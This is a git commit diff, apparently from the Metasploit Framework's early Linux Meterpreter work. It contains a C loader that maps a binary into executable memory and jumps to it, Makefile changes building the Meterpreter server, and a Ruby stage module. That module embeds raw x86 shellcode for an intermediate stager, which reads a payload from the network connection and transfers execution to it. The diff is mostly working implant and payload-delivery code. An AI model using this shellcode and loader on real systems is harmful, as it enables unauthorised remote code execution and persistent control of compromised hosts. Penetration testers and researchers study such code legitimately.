|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
// we can't run ./msflinker directly. Use rtldtest to test the code
|
||||
metsrv_rtld(fd);
|
||||
}
|
||||
|
|
|
@ -0,0 +1,44 @@
|
|||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
unsigned char *mapping;
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int fd;
|
||||
struct stat statbuf;
|
||||
|
||||
|
||||
int (*fp)();
|
||||
|
||||
fd = open("msflinker.bin", O_RDONLY);
|
||||
if(fd == -1) {
|
||||
printf("Failed to open msflinker: %s\n", strerror(errno));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if(fstat(fd, &statbuf) == -1) {
|
||||
printf("Failed to fstat(fd): %s\n", strerror(errno));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// mapping = mmap(0x90040000, statbuf.st_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
|
||||
mapping = mmap(0x90040000, statbuf.st_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE, fd, 0);
|
||||
if(mapping == MAP_FAILED || mapping != 0x90040000) {
|
||||
printf("Failed to mmap(): %s (%08x) \n", strerror(errno), mapping);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
fp = (unsigned int)EP;
|
||||
printf("entry point ahoy @ %08x!\n", fp); fflush(stdout);
|
||||
fp(5);
|
||||
printf("entry point retured\n");
|
||||
}
|
|
@ -161,6 +161,15 @@ static LONG server_socket_poll( Remote * remote, long timeout )
|
|||
|
||||
result = select( fd + 1, &fdread, NULL, NULL, &tv );
|
||||
|
||||
#ifndef _WIN32
|
||||
// Handle EAGAIN, etc.
|
||||
if(result == -1) {
|
||||
if(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK) {
|
||||
result = 0;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
lock_release( remote->lock );
|
||||
|
||||
return result;
|
||||
|
|
|
@ -25,7 +25,7 @@ AR=ar
|
|||
RM=rm
|
||||
|
||||
objects = args.o base.o base_dispatch.o base_dispatch_common.o buffer.o \
|
||||
channel.o common.o core.o list.o remote.o scheduler.o thread.o xor.o zlib/zlib.o
|
||||
channel.o common.o core.o list.o remote.o thread.o xor.o zlib/zlib.o # scheduler.o
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -1,16 +1,30 @@
|
|||
VPATH=../../source/extensions/posix_sample
|
||||
CFLAGS= -fPIC -Os -I../../source/common -I../../source/openssl/include -D_UNIX
|
||||
|
||||
OPENSSL=../../source/openssl/include
|
||||
COMMON=../../source/common
|
||||
SERVER=../../source/server
|
||||
|
||||
CFLAGS=-fno-stack-protector -nostdinc -nostdlib -fPIC -DPIC -g -Wall
|
||||
CFLAGS+=-D_UNIX -D__linux__
|
||||
CFLAGS+=-I${COMMON} -I${SERVER} -I${OPENSSL}
|
||||
CFLAGS+= -I ../../source/bionic/libc/include -I ../../source/bionic/libc/kernel/common/linux/ -I ../../source/bionic/libc/kernel/common/ -I ../../source/bionic/libc/arch-x86/include/
|
||||
CFLAGS+= -I ../../source/bionic/libc/kernel/arch-x86/
|
||||
CFLAGS+= -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t"
|
||||
CFLAGS+= -D_BYTE_ORDER=_LITTLE_ENDIAN
|
||||
CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
|
||||
CFLAGS+= -fPIC -Os
|
||||
CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport
|
||||
|
||||
objects = test.o
|
||||
|
||||
all: posix_sample.so
|
||||
|
||||
|
||||
posix_sample.so: test.o
|
||||
$(LD) -Bshareable -o $@ $(objects)
|
||||
gcc -shared $(CFLAGS) -o $@ $(objects)
|
||||
|
||||
# And, once done:
|
||||
# copy posix_sample.so to data/meterpreter/ext_server_posix_sample.lso and "use posix_sample"
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f *.o *.so *~
|
||||
rm -f *.o *.so *~
|
||||
|
|
|
@ -13,7 +13,7 @@ CFLAGS+= -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t"
|
|||
CFLAGS+= -D_BYTE_ORDER=_LITTLE_ENDIAN
|
||||
CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
|
||||
CFLAGS+= -fPIC -Os
|
||||
CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport
|
||||
CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport -lmetsrv_main
|
||||
|
||||
#LDFLAGS= -fPIC -Bshareable -lc
|
||||
|
||||
|
@ -26,16 +26,17 @@ endif
|
|||
|
||||
objects = server/general.o server/stdapi.o server/fs/dir.o server/fs/file.o \
|
||||
server/fs/fs_util.o \
|
||||
server/net/socket/tcp.o server/net/socket/tcp_server.o server/net/socket/udp.o
|
||||
# server/net/config/interface.o
|
||||
# server/net/config/route.o \
|
||||
server/net/socket/tcp.o server/net/socket/tcp_server.o server/net/socket/udp.o \
|
||||
server/sys/config/config.o server/sys/process/process.o
|
||||
#server/net/config/interface.o \
|
||||
#server/net/config/route.o \
|
||||
|
||||
|
||||
all: ext_server_stdapi.so
|
||||
|
||||
|
||||
ext_server_stdapi.so: $(objects)
|
||||
$(CC) -shared $(CFLAGS) -o $@ $(objects)
|
||||
$(CC) -shared $(CFLAGS) -o $@ $(objects)
|
||||
|
||||
|
||||
.PHONY: clean
|
||||
|
|
|
@ -21,10 +21,10 @@ VPATH=$(BASEVPATH):$(OSVPATH):$(ARCHVPATH)
|
|||
objects= metsrv.o scheduler.o
|
||||
objects+= server_setup.o remote_dispatch_common.o remote_dispatch.o # metsrv_main.o
|
||||
|
||||
all: metsrv_main
|
||||
all: libmetsrv_main.so
|
||||
|
||||
metsrv_main: $(objects)
|
||||
$(CC) -pie $(CFLAGS) -o $@ $(objects) -export-dynamic -lc -lcrypto -lssl -lgcc -ldl -lsupport
|
||||
libmetsrv_main.so: $(objects)
|
||||
$(CC) -shared $(CFLAGS) -o $@ $(objects) -export-dynamic -lc -lcrypto -lssl -lgcc -ldl -lsupport
|
||||
|
||||
clean:
|
||||
@echo "ARCHVPATH= " $(ARCHVPATH) " VPATH= " $(VPATH)
|
||||
|
|
|
@ -0,0 +1,106 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/meterpreter_x86_linux'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/elfparsey'
|
||||
|
||||
module Metasploit3
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Staged meterpreter server',
|
||||
'Author' => ['PKS', 'egypt'],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Linux))
|
||||
end
|
||||
|
||||
def elf_ep(payload)
|
||||
elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) )
|
||||
ep = elf.elf_header.e_entry
|
||||
return ep
|
||||
end
|
||||
|
||||
def elf2bin(payload)
|
||||
# XXX, not working. Use .c version
|
||||
|
||||
# This code acts as a mini elf parser / memory layout linker.
|
||||
# It will return what a elf file looks like once loaded in memory
|
||||
|
||||
mem = "\x00" * (4 * 1024 * 1024)
|
||||
used = 0
|
||||
|
||||
elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) )
|
||||
|
||||
elf.program_header.each { |hdr|
|
||||
if(hdr.p_type == Rex::ElfParsey::ElfBase::PT_LOAD)
|
||||
print_status("Found PT_LOAD")
|
||||
fileidx = hdr.p_offset & (~4095)
|
||||
memidx = (hdr.p_vaddr & (~4095)) - elf.base_addr
|
||||
len = hdr.p_filesz + (hdr.p_vaddr & 4095)
|
||||
|
||||
mem[memidx,memidx+len] = payload[fileidx,fileidx+len] # should result in a single memcpy call :D
|
||||
used += (hdr.p_memsz + (hdr.p_vaddr & 4095) + 4095) & ~4095
|
||||
end
|
||||
}
|
||||
|
||||
# Maybe at some stage zero out elf header / program headers in case tools
|
||||
# try to look for them
|
||||
|
||||
print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes")
|
||||
return mem[0, used]
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
# Does a mmap() / read() loop of a user specified length, then
|
||||
# jumps to the entry point (the \x5a's)
|
||||
|
||||
midstager =
|
||||
"\x81\xc4\x54\xf2\xff\xff\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
|
||||
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x90\x8b\x4c\x24" +
|
||||
"\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" +
|
||||
"\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" +
|
||||
"\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" +
|
||||
"\xc1\x29\xc2\x75\xea\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9\xd3\xff" +
|
||||
"\xff\xff"
|
||||
|
||||
# Patch entry point in properly.
|
||||
# Patch in base ?
|
||||
midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V'))
|
||||
|
||||
print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
|
||||
conn.put(midstager)
|
||||
Rex::ThreadSafe.sleep(3)
|
||||
|
||||
# Send length of payload
|
||||
conn.put([ payload.length ].pack('V'))
|
||||
return true
|
||||
|
||||
end
|
||||
|
||||
def generate_stage
|
||||
#file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf")
|
||||
file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.bin")
|
||||
|
||||
met = File.open(file, "rb") {|f|
|
||||
f.read(f.stat.size)
|
||||
}
|
||||
|
||||
return met
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue